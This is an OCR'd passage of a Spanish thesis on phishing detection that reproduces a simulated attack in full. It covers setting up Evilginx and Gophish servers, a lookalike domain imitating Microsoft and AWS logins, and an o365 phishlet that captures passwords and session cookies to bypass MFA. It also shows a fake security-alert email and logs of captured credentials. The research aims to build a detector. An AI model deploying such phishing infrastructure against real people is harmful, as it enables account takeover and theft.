Seleccione los puertos de red de maquina virtual que son accesibles desde la red Internet piblica. Puede especificar acceso de

red més limitado o granular en la pestaiia Red.

Puertos de entrada publicos * © O Ninguno

@ Permitir los puertos seleccionados

Seleccionar puertos de entrada * I SSH (22) | v

0 Se bloquea todo el tréfico de Internet de forma predeterminada. Puede
cambiar las reglas del puerto de entrada en la pagina VM > Redes.

< Anterior l Siguiente: Discos > l

Una vez finalizado el proceso de configuracion de la instancia, se procede a la

creacion del recurso, lo que incluye la generacién de la clave privada necesaria para

establecer la conexion remota con el servidor, tal como se muestra en la Figura 90.
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Figura 90
Configuracion de la instancia de Evilginx - Parte 5
Crear una maquina virtual

0 Validacion superada

Datos basicos  Discos  Redes  Administracién ~ Supervisiéon ~ Opciones avanzadas  Etiquetas  Revisar y crear

Precio
Generar un par de claves nuevo

1 X Standard B1s
por Microsoft

Términos de uso | Directiva de privi 6 Un par de claves SSH contiene una clave publica y una
i 2 5
privada. Azure no almacena la clave privada. Una vez
creado el recurso de clave SSH, no podré volver a

descargar la clave privada. Mas informacién 4!

TERMINOS
Al hacer clic en "Crear”, (a) acepto | Descargar la clave privada y crear el recurso on cada oferta de

Marketplace que se enumeré previ actual las cuotas
relacionadas con las ofertas, con la [ Volver a la creacién de una maquina virtual l autorizo a Microsoft a
compartir mi informacién de contacto y los datos de transaccion y uso con los proveedores de dichas ofertas. Microsoft no
proporciona derechos sobre ofertas de terceros. Para obtener informacién adicional, consulte los Términos de Azure
Marketplace.

Nombre ‘ EDISON FERNANDO PICUASI FLORES l

Direccién de correo electrénico preferida [ l

I < Anterior ” Siguiente > ]

A partir de la clave privada se inicia el proceso de autentificacion e inicio de sesion

en el servidor remoto desde la terminal de comandos (ver Figura 91).

Figura 91

Inicio de sesidn remota

%' Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. Todos los derechos reservados.

Instale la version mds reciente de PowerShell para obtener nuevas caracteristicas y mejoras. https://a
ka.ms/PSWindows

PS C:\Users\f3rch> ssh .\Downloads\Pentesting-Evilginx.pem pentesting-user@172.214.246.198

Una vez accedido al servidor remoto, se procede con la instalacion del Evilginx.
En donde como primer pasos y través del comando wget se adquiere el paquete de

instalacion tal y como se muestra en la Figura 92.
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Figura 92

Descarga del archivo de instalacion de Evilginx

ilginx:~$ wget https://github.com/kgretzky/evilginx2/releases/download/v3.3.8/evilgi

nx-v3.3.8-linux-64bit. zip|

Posterior a la descarga del archivo zip, se procede a descomprimir el archivo, del
conjunto de archivos y directorios resultantes se concede el permiso de ejecucion al

archivo Evilginx (ver Figura 93 y Figura 94).

Figura 93

Descompresion del archivo de instalacion

pentesting @Evilg ~$ unzip evilginx-v3.3.8-linux-64bit.zip
Archive: evilginx-v .@-linux-6ubit.zip

creating: phishlets/
inflating: phishlets/example.yaml
creating: redirectors/
creating: redirectors/download_example/
: redirectors/download_example/index.html
vilg

Figura 94

Asignacion de permisos de ejecucion

pentesting-user@Evilginx:~$ 1ls

evilginx phishlets redirectors

pentesting-u ilginx:~$ chmod +x evilginx
pentesting-u @Evilginx:~$ sudo ./evilginx

Por medio del comando sudo ./evilginx se inicia el servicio de Evilginx a la vez

que se constata la correcta instalacion del servicio, como se muestra en la Figura 95.
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Figura 95

Interfaz de linea de comandos de Evilginx

pentesting-u:

[e8:28:04] [inf] 1 https://academy.breakdev.org/evilginx-mastery (learn how to

create phishlets)

[e8:28:84] [inf] loading phishlets from: /home/pentesting-user/phishlets

[e8:28:84] [inf] loading configuration from: /root/.evilginx

[88:28:85] [inf] blacklist: loaded ® ip addresses and 8 ip masks

[e8:28:85] [ server domain not set! type: config domain <domain>

[e8:28:85] server external ip not set! type: config ipvd external <external_ipvi_address>

[e8:28:85] obtaining and setting up ® TLS certificates - please wait up to 60 seconds ...
[e8:28:85] [inf] successfully set up all TLS certificates

phishlet status visibility hostname unauth_url

ple visible

4.3.2.2  Instalacion de Gophish

De manera similar al apartado anterior se procede a crear la instancia en la que se
instalara el servidor de Gophish siguiendo el patrén de configuracion realizado para la
instancia de Evilginx, se establecen las configuraciones prioritarias asociadas a la
ubicacion del centro de datos y la plantilla de configuracién del sistema operativo (ver

Figura 96), las especificaciones de hardware de la instancia (ver Figura 97).
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Figura 96
Configuracion de la instancia de Gophish - Parte 1

Crear una maquina virtual

0 Haga clic aqui para probar Azure Copilot para obtener recomendaciones adicionales al crear una maquina virtual —

Detalles de instancia

Nombre de maquina virtual * © I GoPhish ] ~/]
Regién * O | (US) North Central US v |
Opciones de disponibilidad © ‘ No se requiere redundancia de la infraestructura v ]
Tipo de seguridad (© ’ Estandar v ]
Imagen * (O [ © Debian 11 “Bullseye” - x64 gen. 2 I v ‘

Ver todas las imagenes | Configurar la generacién de maquinas virtuales

0 Esta imagen es compatible con caracteristicas de seguridad adicionales. Haga clic
aqui para cambiar a la version de inicio seguro.

Arquitectura de VM O () Armo4

®x64

6 Armb4 no es compatible con la imagen seleccionada.

Figura 97

Configuracion de la instancia de Gophish - Parte 2

Tamafio * @ I Standard_B1s - 1 vepu, 1 GiB de memorial{USD 7.59/mes) (servicios gratuito... v

Ver todos los tamafios
-~ |

Habilitar hibernacion (O

0 El tamano seleccionado no admite la hibernacion. Elija un tamano compatible con
Hibernar para habilitar esta caracteristica. Mds informacién

En el aspecto del tipo de autenticacion se fija el acceso por medio de una clave

publica asociado con el protocolo SSH (ver Figura 98).
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Figura 98
Configuracion de la instancia de Gophish - Parte 3

Cuenta de administrador

Tipo de autenticacién © C‘) Clave publica SSH

O Contrasefia

o Ahora, Azure genera automaticamente un par de claves SSH y le permite
almacenarlo para usarlo en el futuro. Es una forma répida, sencilla y segura de
conectarse a la maquina virtual.

Nombre de usuario * © I pentesting-user

Origen de clave pablica SSH [ Usar la clave existente almacenada en Azure v ]

6 Los formatos Ed25519 y RSA SSH son compatibles con la imagen de VM
seleccionada. Ed25519 ofrece mejor rendimiento y seguridad con un tamafio de
clave mas pequerio, mientras que RSA todavia se usa ampliamente, especialmente
para sistemas y aplicaciones heredados.

Claves almacenadas I Pentesting-Evilginx I % ]

A la vez que se habilita los puertos de entrada para la conexion remota por medio

del protocolo SSH (ver Figura 99).

Figura 99
Configuracion de la instancia de Gophish - Parte 4

Reglas de puerto de entrada
Seleccione los puertos de red de maquina virtual que son accesibles desde la red Internet publica. Puede especificar acceso de

red més limitado o granular en la pestafia Red.

Puertos de entrada publicos * ® O Ninguno

@ Permitir los puertos seleccionados

Seleccionar puertos de entrada * I SSH (22) | v

o Se bloquea todo el tréfico de Internet de forma predeterminada. Puede
cambiar las reglas del puerto de entrada en la pagina VM > Redes.

< Anterior l Siguiente: Discos > I Revisar y crear

A través de la clave privada obtenida una vez culminada la configuracion se inicia

el proceso de acceso con el servidor remoto por medio del protocolo SSH (ver Figura

100).
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Figura 100

Inicio de sesién remoto

[l = ~/Descargas sudo ssh -i ./Pentesting-Evilginx.pem pentesting-user@172.214.162.178

[sudo] contrasefa para eddpic:

The authenticity of host '172.214.162.178 (172.214.162.178)' can't be established.
ECDSA key fingerprint is SHA256:x081fBEIR9TWR8cULKzG1t6qOFiTietSOwzvqJINHQQ.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '172.214.162.178' (ECDSA) to the list of known hosts.
Linux GoPhish 5.10.0-30-cloud-amdé4 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
pentesting-user@GoPhish: $ I

Una vez realizado el inicio de sesion se procede a descargar el archivo de
instalacién de Gophish (ver Figura 101), para posteriormente obtener los archivos y

directorios por medio del comando unzip (ver Figura 102).

Figura 101

Descarga de archivo de instalacion de Gophish

pentesting-user@GoPhish:~$ wget https://github.com/kgretzky/gophish/releases/download/v0.12.1/gophish-

v0.12.1-linux—64bit.zip[]

Figura 102

Descompresion del archivo de instalacién

pentesting-user@GoPhish:~$ unzip gophish-v@.12.1-linux-64bit.zip

Archive: gophish-v0.12.1-linux-64bit.zip

Finalizado la descompresion del archivo, se localiza el archivo ejecutable del
servicio y se concede los permisos de ejecucion necesarios, el comando para dicho

proceso es presentado en la Figura 103.

Figura 103

Asignacion de permisos de ejecucion

pentesting-user@GoPhish:~$ 1s
LICENSE VERSION
README.md config.json gophish

pentesting-user@GoPhish:~$ chmod +x gophish
pentesting-user@GoPhish:~$ |

Antes de inicializar el servicio se establecen los parametros de conexion, de

manera que todas interfaces en el puerto sean accesibles, con el de que cualquier direccion
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IP pueda establecer conexidon con el servidor de Gophish, ademas de esto se habilita para

el acceso el protocolo de seguridad TLS.

La Figura 104 muestra la seccién de cddigo a editar en el archivo de configuracion

de Gophish para habilitar la conexion desde cualquier IP.

Figura 104

Configuracion de parametros de conexion

(val] pentesting-user@GoPhish: ~ N

GNU nano 5.4 config.json *

"0.0.0.0:3333"
true
"gophish_admin.crt"
"gophish_admin.key"

"0.0.0.0:80"
false
"example.crt"
"example.key"

"sqlite3"
"gophish.db"
"db/db_"

Realizado los cambios pertinentes se inicia y constata la correcta funcionalidad
del servicio (ver Figura 105), una vez cumplido los requerimientos se generan las

credenciales por defecto para el inicio de sesion (ver Figura 106).

Figura 105

Inicializacion del servicio de Gophish

pentesting-user@GoPhish:~% sudo ./gophish
time="2024-07-12T23 " level=warning msg="No contact address has been configured."
time="2024-07-12T723:28:022" level=warning msg="Please consider adding a contact_address entry in your

config.json"
goose: migrating db environment 'production', current version: 0, target: 20220321133237
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Figura 106

Parametros de inicio de sesién

20191104103306_0.9.0_create_webhooks.sql

20200116000000_0.9.0_imap.sql

20200619000000_0.11.0_password_policy.sql

20200730000000_60.11.0_imap_ignore_cert_errors.sql

20200914000000_0.11.0_last_login.sql

20201201000000_0.11.0_account_locked.sql

20220321133237_0.4.1_envelope_sender.sql
time="2024-07-12T723:28:02Z" level=info msg="Please login with the username admin /and the password 2769
19celbeda23c’
time="2024-07-12T723:28:02Z" level=info msg="Creating new self-signed certificates for administration i
nterface"

A través de las credenciales generadas se accede a la interfaz web del servicio (ver
Figura 107), la cual cuenta con varias opciones de configuracion para el proceso de

creacion y despliegue de campanas phishing (Figura 108).

Figura 107

Interfaz web de inicio de sesion de Gophish

@ Gophish-Login
@) © Noseguro | htkps://172.214.162.178 | o3

Amx um @ | - @ xXx@ PO P

| B s
gophish

Please sign in



Figura 108

Panel de control de Gophish

@ Dashboard - Gophish

@] © Noseguro | hEkps://172.214.162.178
® X

A Ex B W

_gophish
Dashboard

Campaigns

Users & Groups

No campaigns created yet. Let's create one!

Email Templates
Landing Pages
Sending Profiles

Account Settings

User Management (0D
Webhooks a

User Guide

API Documentation

@ » @ ®

4.3.2.3  Configuracién de dominio fraudulento
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El siguiente apartado hace uso el Sistema de Nombres de Dominio (DNS) en la

nube de CloudDNS, con el fin de que el ataque simulado persuada a la victima de la

legitimidad del correo electrénico.

Una vez ingresado a la plataforma de CloudDNS se procede a generar un nuevo

dominio que se empleara posteriormente en los procesos de generacién de sefiuelos por

medio de Evilginx (ver Figura 109).
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Figura 109

Configuracién de dominio

Free domain

Domain name:

homeinnovators

D Activate Dynamic DNS

CANCEL

Posterior a la generacién del dominio se crean varios registros con subdominios
que se adecuen a los procesos de redireccion de los sitios legitimos, y que pasen por la
direccion IP del servidor de Evilginx para de esta manera realizar la captura de

informacion de la victima (ver Figura 110).

Figura 110

Configuracion de registros

Add new record

Type:

TTL*

signin.aws .homeinnovators.cloudns.ch

Host:

Points to:

* Available only for premium account. Upgrade your account
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La Figura 111 muestra el conjunto de registros asociadas al dominio mediante el
cual se realizaran las redirecciones al sitio web malicioso, los registros resaltados

corresponden al caso de redireccion desde el sitio web de Amazon.

Figura 111

Detalles del dominio y subdominios

homeinnovators.cloudns.ch

A AAAA ALIAS CAA CERT CNAME DNAME DS HINFO LOC

homeinnovators.cloudns. A 172.214.246.198

homeinnovators.cloudns S ns51.cloudns.net

homeinnovators.cloudns. S ns52.cloudns.net

homeinnovators.cloudns. S ns53.cloudns.net

homeinnovators.cloudns.ch S ns54 cloudns.net

aws.homeinnovators.cloudns.ch A 172.214.246.198

console.aws.homeinnovators.cloudns.ch A 172.214.246.198

phd.aws.homeinnovators.cloudns.ch A 172.214.246.198

signin.aws.homeinnovators.cloudns.ch 172.214.246.198

a.b.cdn.console.homeinnovators.cloudns.ct A 172.214.246.198

Posterior a la creacion del dominio y subdominios se constata el funcionamiento
del DNS por medio de consultas especificas hacia los registros configurados en

CloudDNS a través del comando nsloookup.

La Figura 112 indica las consultas realizadas mediante el terminal con destino a

los registros establecidos para el dominio homeinnovators.cloudns.ch.
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Figura 112

Verificacion de resolucién de dominios

K - -

nslookup console.aws.homeinnovators.cloudns.ch

7.0.0.53
7.0.0.53#53

Server: 12
Address: 12
Non-authoritative answer:
Name : console.aws.homeinnovators.cloudns.ch
Address: 172.214.246.198

KX - -
nslookup phd.aws.homeinnovators.cloudns.ch
Server:
Address:

Non-authoritative answer:
Name : phd.aws.homeinnovators.cloudns.ch
Address: 172.214.246.198

BN« ~
nslookup signin.aws.homeinnovators.cloudns.ch
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
Name : signin.aws.homeinnovators.cloudns.ch
Address: 172.214.246.198

K -

nslookup a.b.cdn.console.homeinnovators.cloudns.ch

7.0.8.53
7.0.0.53#53

Server:
Address:

12
12

Non-authoritative answer:
Name : a.b.cdn.console.homeinnovators.cloudns.ch
Address: 172.214.246.198

4.3.3 Acceso Inicial

El desarrollo del siguiente apartado precisa de los registros asociados al dominio
“homeinnnovators.cloudns.ch”, los cuales fueron configurados en funcion de los procesos

de redireccion de Outlook (ver Figura 113).
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Figura 113

Configuracion de registros y subdominios para Outlook

Al A AAAA  ALIAS CAA CERT CNAME DNAME DS HINFO LOC MX
homeinnovaters.cloudns.ch ns51.cloudns.net
homeinnovators.cloudns.ch ns52.cloudns.net
homeinnovators.cloudns.ch ns53.cloudns.net
homeinnovators.cloudns.ch \ nsb4.cloudns.net
@.homeinnovators.cloudns.ch 172.214.246.198
cdn.homeinnovators.cloudns.ch A 172.214.246.198
www.homeinnovators.cloudns.ch L. 172.214.246.198
login.homeinnovators.cloudns.ch A 172.214.246.198

outlook.homeinnovators.cloudns.ch £ 172.214.246.198

0O H
O
O
O
O
O
O
O
O
O
O

device.login.homeinnovators.cloudns.ch 172.214.246.198

Como primer paso se asocia el dominio fraudulento creado en el apartado anterior
y se establece la direccién IP con la cual el servidor Evilginx interactuara con los clientes,
por medio de los comandos de config domain homeinnovators.cloudns.ch y config ipv4

external 172.214.246.198 (ver Figura 114).



180

Figura 114

Asociacion del dominio fraudulento en Evilginx

(v ) pentesting-user@Evilginx: ~

pentesting-user@Evilginx:~$ sudo ./evilginx

[16:52:48] [inf] Evilginx Mastery Course: https://academy.breakdev.org/evilginx-mastery (learn how to
create phishlets)

[16:52:48] [inf] loading phishlets from: /home/pentesting-user/phishlets

[16:52:48] [inf] loading configuration from: /root/.evilginx

[16:52:u48] [inf] blacklist: loaded 0 ip addresses and @ ip masks

[16:52:48] [inf] obtaining and setting up 0 TLS certificates - please wait up to 60 seconds...
[16:52:48] [inf] successfully set up all TLS certificates

phishlet status visibility hostname unauth_url

template visible
isable visible

;| config domain homeinnovators.cloudns.ch

[18:03:02] [inf] server domain set to: homeinnovators.cloudns.ch
;| config ipv4d external 172.214.246.198

[18:04:08] [inf] server external IP set to: 172.214.246.198

En el siguiente paso se crea un nuevo sefiuelo para el servicio de correo de Outlook

a partir de la plantilla de ejemplo que viene con el archivo de instalacion de Evilginx.

La Figura 115 muestra la creacion del archivo de configuracion que sera empleado

en los procesos de generacion del nuevo sefiuelo.

Figura 115

Creacion del sefuelo

pentesting-user@Evilginx: $ 1s
amazon.yaml ample.yaml
pentesting- @Evilginx: $/cp example.yaml 0365-mfa.yaml

pentesting-user@Evilginx: $ s
amazon.yaml example.yaml o0365-mfa.yaml
pentesting-user@Evilginx: $ Inano 0365-mfa.yaml I

Por medio del editor de texto se anexan los subdominios del DNS, de esta manera
se intercepta y redirige el tréfico entre el objetivo y el sitio legitimo sin levantar sospechas

(ver Figura 116).
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Figura 116

Configuracion del sefiuelo

s} testing-user@Evilginx: ~/phi =+

GNU nano 5.4 0365-mfa.yaml *

name: 'o0365-mfa’

author: '@faelsfernandes'
min_ver: '2.4.0'
proxy_hosts:

- {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing:§
{phish_su ‘www', orig_sub: 'www', domain: 'office.com', session: false, is_landing:false}
{phish_su 'device.login', orig_sub: 'device.login', domain: 'microsoftonline.com', session: trui
{phish_sub: 'outlook', orig_sub: 'www', domain: 'outlook.com', session: false, is_landing:true}
{phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: false, is_landing:true}

sub_filters:
auth_tokens:
- domain: '.login.microsoftonline.com'
keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT','SignInStateCookie',]
- domain: 'login.microsoftonline.com'
keys: ['ESTSAUTHLIGHT']
credentials:
username:
key: 'login'
search: '(.*)'
type: 'post'
password:
key: 'passwd'’
search: '(.%)'
type: 'post'
login:
domain: 'login.microsoftonline.com'
path: '/’
force_post:
- path: '/kmsi'
search:
- {key: 'LBginOptions', search: '.x'}
force:
- {key: 'LoginOptions', value: '1'}
type: 'post'
path: '/common/SAS'
search:
- {key: 'rememberMFA', search: '.x'}
force:
- {key: 'rememberMFA', value: 'true'}
type: 'post'

Una vez configurado el sefiuelo se enlaza el dominio, de esta manera Evilginx
redirigira, gestionara las solicitudes, capturara las credenciales ademas de que presentara

la réplica del sitio legitimo (ver Figura 117).
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Figura 117

Asociacion del dominio al sefiuelo

Community Edition

[22:00:30] [inf] Ev i Mastery ( : https://academy.breakdev.org/evilginx-mastery (learn how
create phishlets)
[22:00:30] [inf] loading phishlets from: /home/pentesting-user/phishlets

[22:00:30] [inf] loading configuration from: /root/.evilginx

[22:00:30] [inf] blacklist: loaded 0 ip addresses and 0 ip masks

[22:00:30] [inf] obtaining and setting up 0 TLS certificates - please wait up to 60 seconds...
[22:00:30] [inf] successfully set up all TLS certificates

phishlet status visibility hostname unauth_url

template visible
| visible
visible

:| phishlets hostname 0365-mfa homeinnovators.cloudns.ch
[22:01:03] [inf] phishlet "o365-mfa’ hostname set to: homeinnovators.cloudns.ch

Finalmente, se pone en funcionamiento el phishlet por medio del comando enable,
de esta manera se procede a la verificacion de los certificados TLS que seran asociados

al enlace malicioso.

Figura 118

Habilitacion del sefiuelo

- -—- Community Edition

[22:19:17] [inf] Evilginx Mastery Course: https://academy.breakdev.org/evilginx-mastery (learn how to
create phishlets)

[22:19:17] [inf] loading phishlets from: /home/pentesting-user/phishlets

[22:19:17] [inf] loading configuration from: /root/.evilginx

[22:19:17] [inf] blacklist: loaded 6 ip addresses and 0 ip masks
[22:19:17] [inf] obtaining and setting up © TLS certificates - please wait up to 60 seconds..
[22:19:17] [inf] successfully set up all TLS certificates

phishlet status visibility hostname unauth_url

template visible
visible
visible homeinnovator

:| phishlets enable 0365-mfa

[22:19:32] [int] enabled phishlet 'o0365-mfa'

[22:19:32] [inf] obtaining and setting up 5 TLS certificates - please wait up to 60 seconds...
[22:19:32] [inf] successfully set up all TLS certificates
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Una vez configurado el phishlet se generan los enlaces URL que seran enviados

a las victimas potenciales a través del comando lures.

La Figura 119 muestra el proceso de generacion del sefiuelo y su respectivo enlace

malicioso, el cual podré ser empleado en los procesos de robo de informacion.

Figura 119

Generacion de enlace URL fraudulento

pentesting-user@Evilginx:~$ sudo ./evilginx

[03:11:38] [inf] Evilginx Ma Course: https://academy.breakdev.org/evilginx-mastery (learn how to
create phishlets)

[03:11: [inf] loading phishlets from: /home/pentesting-user/phishlets

[03:11: [inf] loading configuration from: /root/.evilginx

[03:11: [inf] blacklist: loaded 6 ip addresses and 0@ ip masks

[03:11:3 [inf] obtaining and setting up 5 TLS certificates - please wait up to 60 seconds..

[63:11: [inf] successfully set up all TLS certificates

phishlet status visibility hostname unauth_url

template

enabled v homeinnovator. ..
: lures

id phishlet hostname redirector redirect_url paused

2]

| lures get-url @

http ogin.homeinn

En la siguiente seccion se emplea Gophish como intermediario en el proceso de
despliegue, se crea el formato HTML del correo en el cual se incrusta el enlace URL

generado por Evilginx.

La Figura 120 sefala el proceso de adicion del enlace malicioso en el cadigo del

correo en formato HTML.
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Figura 120

Creacion del sitio web del correo electrénico

New Landing Page

Name:

Prueba

@ Import Site

HTML

[@) Source | [q

SEATULYA LA3 LNSLIULLIUIES pala Lanulal 3u LuUnl assia y
revisar la actividad reciente de su cuenta.c;‘}‘?

</ol=>
WA

<p style="text-align: center;"=>

<a href:"https://logln.homeinnovators.cIoudns.ch!chGxaxI” I

class="button">Verificar mi cuenta</a>
SARRARA RARRRRA

=/p>

Capture Submitted Data @

I!%iHiHHE%II

Posteriormente, se crea el grupo en el que se afiadiran las victimas potenciales

junto con su respectivo correo electronico (ver Figura 121), el cual se empleara en los

futuros procesos de despliegue de la campafia de phishing.
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Figura 121

Creacion de grupo de objetivos

New Group

Name:

4+ Bulk Import Users

George Santan geor_sant33@« Gerente

Show 4 entries Search:

a
First Name Last Name Email Position

No data
available in
table

Showing 0 to 0 of 0 entries Previous = Next

4.3.4Ejecucion

Este apartado materializa el ataque simulado haciendo uso de las herramientas y
técnicas desarrolladas anteriormente, en base a las configuraciones y parametros
establecidos en Gophish se modela el patron del correo electrénico en la cual se
establecen los campos de asunto como si se tratase de una advertencia de seguridad acerca
de la cuenta personal de la victima, a la vez que en el campo de texto se anexa el codigo

en lenguaje HTML de la pagina web fraudulenta (ver Figura 122).
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Figura 122

Configuracion de la plantilla de correo electronico

Edit Template

Name:

2 Import Email

Envelope Sender: @

I Microsoft Outlook <alina_bel20@outlook.com> I

Subject:

I Alerta de Seguridad - Microsoft Outlook I

Text HTML

[0) Source | [

<IDOCTYPE html><html lang="es"><head>

<meta charset="UTF-8"/>

<meta name="viewport" content="width=device-width, initial-
scale=1.8"/>

<title>Alerta de Seguridad de Microsoft</title>

<style>

body {
font-Tamily: 'Segoe UI', Tahoma, Geneva, Verdana, sans-

Para el despliegue de la campafia se toma la informacion y parametros
configurados de Gophish acerca del apartado del patrén de correo electrénico, asi como
del grupo objetivo, ademas se vincula de manera externa el enlace URL generado por la

herramienta de Evilginx.

La Figura 123 detalla el proceso de generacion de la campafia de phishing, en la

cual se asocia los parametros configurados tanto de Gophish como de Evilginx.
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Figura 123

Creacion de campafa de phishing

New Campaign

Name:

Outlook

Email Template:

Evilginx Lure URL: @

I https://login.homeinnovators.cloudns.ch/cMyGxax| I

Launch Date

July 13th 2024, 10:47 pm

Send Emails By (Optional) @

Sending Profile:
Prueba

Groups:

* Prueba

o Launch Campaign

La Figura 124 sefiala el punto final del proceso de despliegue de la campafia de

phishing por medio de correo electrénico malicioso.
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Figura 124

Despliegue de campafia de phishing

Campaign Scheduled!

This campaign has been scheduled for launch!

Una vez lanzada la campafia en funcion de los perfiles, en las cuentas de los
objetivos se manifestara el correo fraudulento, en el cual se alerta de la posible irrupcién
de su cuenta ademas de que se le aconseja de que ejecute las medidas de prevencion
necesarias, bajo este concepto se trata de persuadir el ingreso al enlace que lleva como

adjunto el correo, para de esta manera realizar el robo de informacion.

La Figura 125 ejemplifica la llegada del correo electronico malicioso al buzon de

correos de la victima.
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Figura 125

Recepcion del correo phishing

Alerta de Seguridad - Microsoft Outlook

MO Microsoft Outlook<alina_bel20@outlook.com>

Para: Usted Sab 13/07/2024 22:49
© Este mensaje se identificé como correo no deseado.

Mo es un correo no deseada Mastrar contenido bloqueado y habilitar vinculos

le_Microsoft Logo

Alerta de Seguridad

Importante

Hemos detectado actividad inusual en su cuenta de
Microsoft.

Estimado usuario,

Nuestros sistemas de seguridad han detectado un intento de
inicio de sesion no autorizado en su cuenta de Microsoft. Por
su seguridad, le recomendamos gue cambie su contrasefia
inmediatamente.

4.3.5Persistencia y Escalada

En esta fase se emplea la informacion del objetivo adquirida tales como usuario y
contrasefia asociada a los servicios legitimos de correo para de esta manera prolongar la

estancia en la red sin que se genera indicios de presencia por parte del atacante.

Este apartado se sitla en el caso de que la victima accede al enlace url haciendo
caso omiso de que se trata de algo falso y de manera incrédula ingresa la informacion de
la cuenta esto sumado a que la pagina de login se asemeja casi en su totalidad al del sitio
original con excepcion del dominio, el cual puede pasar desapercibido si no se es

consciente de los pequefios detalles que se asocian a la pagina oficial.

La Figura 126 muestra el paso inicial correspondiente al ingreso al sitio web falso

desde el enlace incrustado en el correo electronico.
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Figura 126

Detalles del correo phishing

Alerta de Seguridad - Microsoft Outlook

Mo) Microsoft Outlook<alina_bel20@outiook.com> Ui
Para: Usted Sab 13/07/2024 22:49
@ Este mensaje se identifico como correo no deseado. No es un correo no deseado | | Mostrar contenido bloqueado y habilitar vinculos

Microsoft Logo

Alerta de Seguridad Importante

Hemos d do actividad i en su cuenta de Microsoft.

Estimado usuario,

Nuestros sistemas de seguridad han detectado un intento de inicio de sesién
no autorizado en su cuenta de Microsoft. Por su seguridad, le recomendamos
que cambie su contrasefia inmediatamente.

Si no reconoce esta actividad, por favor siga estos pasos:

1. Haga clic en el botén "Verificar mi cuenta" a continuacion.
2. Inicie sesién con sus credenciales actuales.
3. Siga las instrucciones para cambiar su contrasefia y revisar la actividad

reciente de su cuenta.
rificar mi cuenta

La Figura 127 ejemplifica el siguiente paso dentro del proceso de adquisicion de

credenciales en donde la victima ingresa las credenciales en este caso del servicio de

correo de Outlook.

Figura 127

Ingreso de credenciales

= Iniciar sesion en la cuenta

login.homeinnovators.cloudns.ch

PR B | @ X @ P @D P

B¥ Microsoft

Iniciar sesion

Igeor_sant33@cutlook.com I

¢No tiene una cuenta? Cree una.

¢No puede acceder a su cuenta?

Q Opciones de inicio de sesién
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4.3.6 Acceso a Credenciales

En el siguiente paso y posterior al ingreso de credenciales de la victima, desde el
punto de vista del atacante, la herramienta de Evilginx captura las credenciales de acceso
del objetivo (ver Figura 128) y de esta manera da rienda suelta a su uso de la manera que

le plazca, a la vez que puede hacer uso de esta para aumentar la red de victimas.

Figura 128

Captura de credenciales de acceso

https://login.hor ovators.cloudns.ch/

[06:08:57] [war] [Mic: t2024] unauthorized request: https://microsoft.homeinnovators.cloudns.ch/ (M
ozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)) [144.76.57.4]

[06:13:47] (Y] [0] [Mic: ft2024] new visitor has arrived: Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:128.0) Gecko/20100101 Firefox/128.0 (157.100.134.162)

[06:13:47] [inf] [0] [Mic: t2024] landing URL:|https://login.homeinnovators.cloudns.ch/cMyGxaxI
[06:14:47] [=E=4] [0] Password: [ ]

[06:14:47] [EEE] [0] Username: [geor_sant33@outlook.com]

[06:14:47] [EEE] [0] Username: [geor_sant33@outlook.com]

[e6:14:56] [EREd] [0] all authorization tokens intercepted!

4.4 Pruebas

En esta seccion se desarrolla con el proposito de evidenciar el correcto
funcionamiento de la red 10T generada con Mininet-WiFi, asi como del modelo de
deteccion phishing, en este sentido se establecen dos tipos de pruebas: pruebas

funcionales y pruebas especificas.

En la Tabla 26 se detalla el esquema de pruebas a ejecutar para verificar la

funcionalidad de cada uno en funcion de su tipo.

Tabla 26

Plan de Pruebas del sistema de deteccion de phishing

Tipo de Prueba Descripcion Resultado

Pruebas Prueba O1F. Verificar la conectividad Los nodos de la red

Funcionales  de red simulada cuentan con sus
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respectivos canales de

comunicacion

Prueba 02F. Conexion de los nodos

con el servidor CoAP

Envio y recepcion de los
datos generados por los
nodos cliente (sensores y
dispositivos 10T) hacia el
nodo  servidor CoAP

(servidor local)

Prueba O3F. Acceso al cliente de

correo desde el nodo “host1” de la red

loT

Ejecucion del cliente de
correo con las
configuraciones de red del

nodo “host1”

Prueba 04F. Almacenamiento vy

Representacion de Datos

Publicacion de las métricas
en InfluxDB Cloud, asi
COmo su representacion en
Grafana Cloud por medio

de los identificativos.

Prueba 05F. Conexion y extraccion
de los detalles del correo (Contenido

y Encabezado)

Funcionamiento del inicio
de sesion en el servicio de
correo por medio de la API
de Outlook, a la vez que se
adquieren los correos del

buzon
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Prueba 06F. Calculo de Ila Clasificacion del correo en
probabilidad de  phishing y funcion del tipo para un
generacion de reglas. posterior uso de los enlaces
maliciosos en el proceso
de generacién de reglas de

Suricata

Prueba O1E. Prueba sin el sistema Emulacion de acciones que
activo se suscitan en procesos de
robo informacion  por

Pruebas medio de correos phishing

Especificas  Prueba O2E. Prueba con el sistema Funcionamiento de todos
activo los subprocesos asociados
con la deteccion de

phishing

4.4.1 Pruebas Funcionales

El siguiente apartado se enfoca en la verificacion de la funcionalidad de la
topologia de red implementada. Este proceso incluye la evaluacion de los procedimientos
operativos y las diversas herramientas que se integran en la simulacién de la red. El
analisis se llevara a cabo considerando los parametros de configuracién establecidos en
los capitulos precedentes, asegurando de esta manera la relacion y eficacia del sistema en

todo su conjunto.
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4411 Prueba O1F. Verificar la conectividad de red

Una vez configurada la topologia y el sistema de deteccidn, se procede a ejecutar
del script correspondiente mediante Mininet-WiFi. La comunicacion entre los diversos
nodos con el punto de acceso se verifica a traves de la gréfica de la topologia resultante.

La Figura 129 muestra la representacion grafica de los diversos nodos que
conforman la topologia de red, incluyendo el punto de acceso. El parametro de
verificacién empleado corresponde a la cobertura de sefial emitida tanto por el punto de
acceso, asi como por los nodos individuales. La verificacion se fundamenta en las
variables especificas del modelo de propagacion aplicable a espacios interiores. En este
contexto, se considera que existe una conexion efectiva cuando los dispositivos se
encuentra dentro del rango de proximidad que permita una comunicacién fiable entre
